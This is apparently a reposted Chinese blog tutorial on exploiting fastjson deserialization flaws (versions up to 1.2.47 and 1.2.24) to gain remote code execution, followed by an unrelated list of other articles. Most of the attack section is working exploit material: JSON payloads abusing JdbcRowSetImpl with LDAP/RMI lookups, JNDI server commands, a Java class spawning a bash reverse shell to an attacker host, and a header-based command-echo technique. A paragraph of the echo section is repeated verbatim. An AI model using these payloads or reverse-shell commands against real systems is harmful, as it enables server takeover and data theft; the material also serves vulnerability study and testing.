fastjson反序列化漏洞

fastjson反序列化漏洞

文章目录

  • fastjson反序列化漏洞
    • 1.漏洞原理
    • 2.探测方式
      • 2.1 查看回显
      • 2.2 LDAP/RMI服务测试
    • 3.LDAP/RMI服务搭建要求
    • 4.漏洞复现
      • 4.1 fastjson <=1.2.47 反序列化导致任意命令执行漏洞
        • 4.1.1 环境准备
        • 4.1.2 复现过程
      • 4.2 fastjson <=1.2.24 反序列化导致任意命令执行漏洞
        • 4.2.1 环境准备
        • 4.2.2 复现过程
      • 4.3 fastjson即时回显利用
          • 前情提要
          • 漏洞复现

1.漏洞原理

​ Fastjson是一款开源JSON解析库,它可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。

​ fastjson反序列化与weblogic、shiro反序列化类似,在客户端将json数据进行序列化传送至服务端后,服务端会将其反序列化读取其中数据,若客户端操控json数据,加入一些恶意类方法、代码,则可能会造成服务端代码执行。同时由于fastjson采用黑名单过滤的方式,也存在着被绕过的风险。

​ 当前出现的fastjson反序列化漏洞由于无法做到回显,一般会使用ldap和rmi远程调用的方式来进行getshell。攻击机发送恶意payload来使漏洞服务端进行ldap或rmi远程调用,调用搭建好的ldap或rmi服务上所布置好的class类进而执行,从而实现shell反弹。

2.探测方式

2.1 查看回显

当提交一个json数据时,可以故意截取数据内容,使其不完整,再查看服务器返回包内容是否写有fastjson

例如:

img

删去括号使其不完整,便出现了fastjson

img

2.2 LDAP/RMI服务测试

利用github上已经编译好的jar利用包,在VPS上启动ldap服务来构造payload来使服务端请求dnslog探测是否存在漏洞。

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.155.128 80 "curl sr7wx4.dnslog.cn"

img

利用所提供的payload进行dnslog

POST / HTTP/1.1
Host: 192.168.155.128:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN
Connection: close
Content-Length: 187
Content-Type:application/json{"e":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"f":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://192.168.155.128:80/Object","autoCommit":true}}

img

平台成功接收,证明存在漏洞

img

3.LDAP/RMI服务搭建要求

img

4.漏洞复现

4.1 fastjson <=1.2.47 反序列化导致任意命令执行漏洞

4.1.1 环境准备

攻击机:win10 burp

vps:java python nc

靶机:kali

(条件有限vps上要搭建的东西移到了同为靶机的kali上)

4.1.2 复现过程

启动nc来进行监听,端口为4444

nc -ltvp 4444

img

此时启动jar包,该包专为1.2.47版本使用,利用该包启动ldap服务,前段ip为ldap服务ip及端口,后段为nc监听ip及端口。(https://github.com/wyzxxz/fastjson_rce_tool)

java -cp fastjson_tool.jar fastjson.HLDAPServer 192.168.155.128 81 "bash=/bin/bash -i  >& /dev/tcp/192.168.155.128/4444 0>&1"
同样可以修改参数为fastjson.EvilRMIServer,启动RMI服务

img

返回payload,利用post方式将其发送至靶机服务端,同时Content-Type类型为application/json。

img

查看nc,已经接收到反弹的shell了

img

4.2 fastjson <=1.2.24 反序列化导致任意命令执行漏洞

4.2.1 环境准备

攻击机:win10 burp

vps:java python nc

靶机:kali

(条件有限vps上要搭建的东西移到了同为靶机的kali上)

4.2.2 复现过程

由于该版本没有专用的jar包需要自己进行编译。

首先编译远程调用的java文件(建议使用jdk1.8编译,其他版本编译出来的可能会不执行)

payload如下:
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {try {Runtime rt = Runtime.getRuntime();String[] commands = {"touch", "/tmp/success"};Process pc = rt.exec(commands);pc.waitFor();} catch (Exception e){// do nothing}}}	
反弹shellpayload
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {static {try {Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.155.128/4444 0>&1"});p.waitFor();} catch (Exception e) {// do nothing}}
}

利用javac编译为class文件

javac TouchFile.java

img

当前文件夹则会生成一个class文件

img

安装maven环境

apt-get install maven

然后在编译好的java文件夹下启动一个http服务

python -m SimpleHTTPServer 3333

现在我们利用marshalsec项目,启动一个RMI服务器,监听9999端口,并使其加载编译好的类文件TouchFile.class

下载该项目,然后进行项目编译

mvn clean package -DskipTests

编译成功后会多出一个target文件夹,其中便有我们需要的jar包

img

img

此时执行监听命令

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://刚class文件的ip或域名/#TouchFile" 9999

img

抓取数据包发送payload

POST / HTTP/1.1
Host: 192.168.155.128:8090
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: lang=zh-CN
Connection: close
Content-Length: 123
Content-Type:application/json{"b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://192.168.155.128:9999/TouchFile","autoCommit":true}
}

成功获得shell

img

img

4.3 fastjson即时回显利用

前情提要

​ 在大部分情况下,可能没有做到如上面两种试验里这么顺利,遇到最多的问题就是class文件不读取或者读取了不执行,可以直接利用工具,进行一个帮助的回显

​ 工具链接:

https://github.com/WhiteHSBG/JNDIExploit

​ 利用该工具首先需要阅读一下说明(在工具文件内或者github上看),该工具主要启动ldap服务,支持多种路由格式,可以根据不同的路由选择不同的payloadtype和GadgetType。

启动工具

java -jar JNDIExploit-1.4-SNAPSHOT.jar  -i vps-ip

img

漏洞复现

​ 具体格式不变,同样是普通的fastjson格式的payload,但是里面引用的连接需要进行修改,同时,需要在hrader头中加入cmd: ifconfig等等命令

POST /api/auth/ainfo/contact/listFamily HTTP/1.1
Host: xxxxxx
Content-Length: 168
sn: null
cmd: ifconfig
Content-Type: application/json
Accept: application/json, text/plain, */*
timestamp: 1663245585261
device: null
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/104.0.0.0 Safari/537.36
utype: 1
token: null
sign: 892ed5ef47f06f89fb6e9a6812718b68
Origin: http://xxxx:8095
Referer: http://xxxx:8095/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close{"handsome":{"@type":"Lcom.sun.rowset.JdbcRowSetImpl;","dataSourceName":"ldap://xxxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho","autoCommit":true}}

​ 将payload摘出来看

ldap://xxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho
ldap://xxxx:1389:不用说
Deserialization:说明中的Deserialization路由
CommonsCollectionsK1:GadgetType类型,可以挨个尝试直到回显
TomcatEcho:PayloadType类型用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令

​ 此时直接发送请求,可以看到直接利用tomcat进行了回显

ldap://xxxx:1389/Deserialization/CommonsCollectionsK1/TomcatEcho
ldap://xxxx:1389:不用说
Deserialization:说明中的Deserialization路由
CommonsCollectionsK1:GadgetType类型,可以挨个尝试直到回显
TomcatEcho:PayloadType类型用于在中间件为 Tomcat 时命令执行结果的回显,通过添加自定义header cmd: whoami 的方式传递想要执行的命令

​ 此时直接发送请求,可以看到直接利用tomcat进行了回显

image-20240224114403283

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/267340.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

simple-pytest 框架使用指南

simple-pytest 框架使用指南 一、框架介绍简介框架理念&#xff1a;框架地址 二、实现功能三、目录结构四、依赖库五、启动方式六、使用教程1、快速开始1.1、创建用例&#xff1a;1.2、生成py文件1.3、运行脚本1.3.1 单个脚本运行1.3.2 全部运行 1.4 报告查看 2、功能介绍2.1、…

vue2 开发记录

el-select 如何修改选择项的样式/el-select-dropdown__item 文字上下显示 测试代码 <div stylemargin-left: 100px><!-- 测试代码--><el-select filterablesizemini><div classxxx-el-select><el-optionv-foritem in [{key:1,des:2,…

web自动化笔记八:滚动条处理和窗口截屏

一、滚动条处理 ①为什么要操作滚动条&#xff1f; 1. 在HTML页面中&#xff0c;由于前端技术框架的原因&#xff0c;页面元素为动态显示&#xff0c;元素根据滚动条的下拉而被加载 2. 页面注册同意条款&#xff0c;需要滚动条到最底层&#xff0c;才能点击…

vue cesium加载点与定位到指定位置

vue cesium定位到指定位置 window.viewer.camera.flyTo({destination: Cesium.Cartesian3.fromDegrees(point.longDeg, point.latDeg, 6500000), orientation: {heading: 6.2079384332084935, roll: 0.00031509431759868534, pitch: -1.535}, duration: 3})vue cesium加载点 …

QMLButton背景初始化

文章目录 异常情况解决办法 异常情况 Button {id: controltext: qsTr("Button")width: 100height: 150property color normalColor: "green"property color hoverColor: "yellow"property color pressColor: "red"background: Rectan…

Android的硬件接口HAL

我一直觉得&#xff0c;现代计算机不是一门科学&#xff0c;起码快算不上一门理科科学。上上下下全是人造&#xff0c;左左右右全是生意&#xff0c;用管理学&#xff0c;经济学去学计算机&#xff0c;也许更看得懂很多问题。HAL就是一个典型例子。 传统Linux绕开了微软的霸权…

Vue3速成

文章目录 day 11. 创建vue3工程3. 响应式数据4. 计算属性 day 25. watch 监视6. watchEffect7. 标签的ref属性8. 回顾TS中的接口_泛型_自定义类型 day 1 1. 创建vue3工程 相关代码如下&#xff1a; ## 创建vue工程 npm create vuelastest## 安装node_modules npm install //…

【六袆 - React】Next.js:React 开发框架;Next.js开发框架的特点

Next.js&#xff1a;React 开发框架 Next.js的特点 1.直观的、基于页面的路由系统&#xff08;并支持动态路由&#xff09; Next.js 提供了基于文件系统的路由&#xff0c;意味着你可以通过创建页面文件来定义路由。 伪代码示例&#xff1a; // pages/index.js export defa…

【数据结构】数组

第一章、为什么数组的下标一般从0开始编号 提到数组&#xff0c;读者肯定不陌生&#xff0c;甚至还会很自信地说&#xff0c;数组很简单。编程语言中一般会有数组这种数据类型。不过&#xff0c;它不仅是编程语言中的一种数据类型&#xff0c;还是基础的数据结构。尽管数组看起…

AI新工具(20240301) Ideogram; Image to Music Generator等

1: Ideogram 全新的多模态生图AI工具&#xff0c;以其优秀的文字渲染能力和生图能力受到业界瞩目 Ideogram是一个创新的AI工具&#xff0c;它通过在生成的图片中自然地整合文字&#xff0c;解决了生图AI领域长期存在的一个难题。这个工具特别擅长将文本以极其自然和协调的方式…

Nginx 隐藏版本信息和logo

1.隐藏版本信息 http {### 隐藏版本号 server_tokens off; } 2.隐藏图标 2.1 cd nginx 安装的路径 cd/XXXX/nginx-1.2.0 2.2 编辑文件 vim src/core/nginx.h 修改define nginx_ver 中的内容 vim src/http/ngx_http_special_response.c 修改 u_char ngx_http_error_tail[]…

腾讯云4核8G的云服务器性能水平?使用场景说明

腾讯云4核8G服务器适合做什么&#xff1f;搭建网站博客、企业官网、小程序、小游戏后端服务器、电商应用、云盘和图床等均可以&#xff0c;腾讯云4核8G服务器可以选择轻量应用服务器4核8G12M或云服务器CVM&#xff0c;轻量服务器和标准型CVM服务器性能是差不多的&#xff0c;轻…

【生成式AI】ChatGPT 原理解析(2/3)- 预训练 Pre-train

Hung-yi Lee 课件整理 预训练得到的模型我们叫自监督学习模型&#xff08;Self-supervised Learning&#xff09;&#xff0c;也叫基石模型&#xff08;foundation modle&#xff09;。 文章目录 机器是怎么学习的ChatGPT里面的监督学习GPT-2GPT-3和GPT-3.5GPTChatGPT支持多语言…

element-plus表格合并

要实现这样的表格&#xff0c; 怎么做呢&#xff1f; 甚至是这种三级的呢&#xff1f; 官网的案例也是通过这个方法进行配置的&#xff0c;也就是说表格长什么样&#xff0c;关键在怎么处理的方法上。 这是官网的方法&#xff0c;可参考拓展&#xff1a; const arraySpanMeth…

【airtest】自动化入门教程(三)Poco操作

目录 一、准备工作 1、创建一个pthon脚本 2、光标位置 2、选择Android 3、选择yes 二、定位元素 三、poco基于设备/屏幕 方式 1、poco.click( (x,y))基于屏幕点击相对坐标为x&#xff0c;y的位置 2、poco.get_screen_size() 3、poco.swipe(v1,v2)基于屏幕从v1位置滑到…

Python爬虫实战第二例【二】

零.前言&#xff1a; 本文章借鉴&#xff1a;Python爬虫实战&#xff08;五&#xff09;&#xff1a;根据关键字爬取某度图片批量下载到本地&#xff08;附上完整源码&#xff09;_python爬虫下载图片-CSDN博客 大佬的文章里面有API的获取&#xff0c;在这里我就不赘述了。 一…

Vue2:路由的两种模式history模式和hash模式

一、情景说明 之前我们写的项目启动后&#xff0c;浏览器访问时&#xff0c;路径中会有个#/&#xff0c;会导致不够美观 因为一般的访问地址都是http://123.123.123.123/aaa/bbb这种形式 这一篇&#xff0c;就来解决这个问题 二、案例 1、hash模式 特点&#xff1a;#/后的…

Docker与虚拟机比较

在对比Docker和虚拟机前&#xff0c;先简单了解下虚拟化&#xff0c;明确Docker和虚拟机分别对应的虚拟化级别&#xff0c;然后对Docker和虚拟机进行比较。需要注意的是&#xff0c;Docker和虚拟机并没有什么可比性&#xff0c;而是Docker使用的容器技术和虚拟机使用的虚拟化技…

微信小程序触屏事件_上划下划事件

一、微信小程序触屏事件 bindtouchstart&#xff1a;手指触摸动作开始 bindtouchmove&#xff1a;手指触摸后移动 bindend&#xff1a;手指触摸动作结束 属性类型说明touchesArray触摸事件&#xff0c;当前停留在屏幕中的触摸点信息的数组 Touch 对象 属性类型说明identi…

《HelloGitHub》第 95 期

兴趣是最好的老师&#xff0c;HelloGitHub 让你对编程感兴趣&#xff01; 简介 HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。 这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等&#xff0c;涵盖多种编程语言 Python、Java、Go、C/C、Swift...让你在短时间内…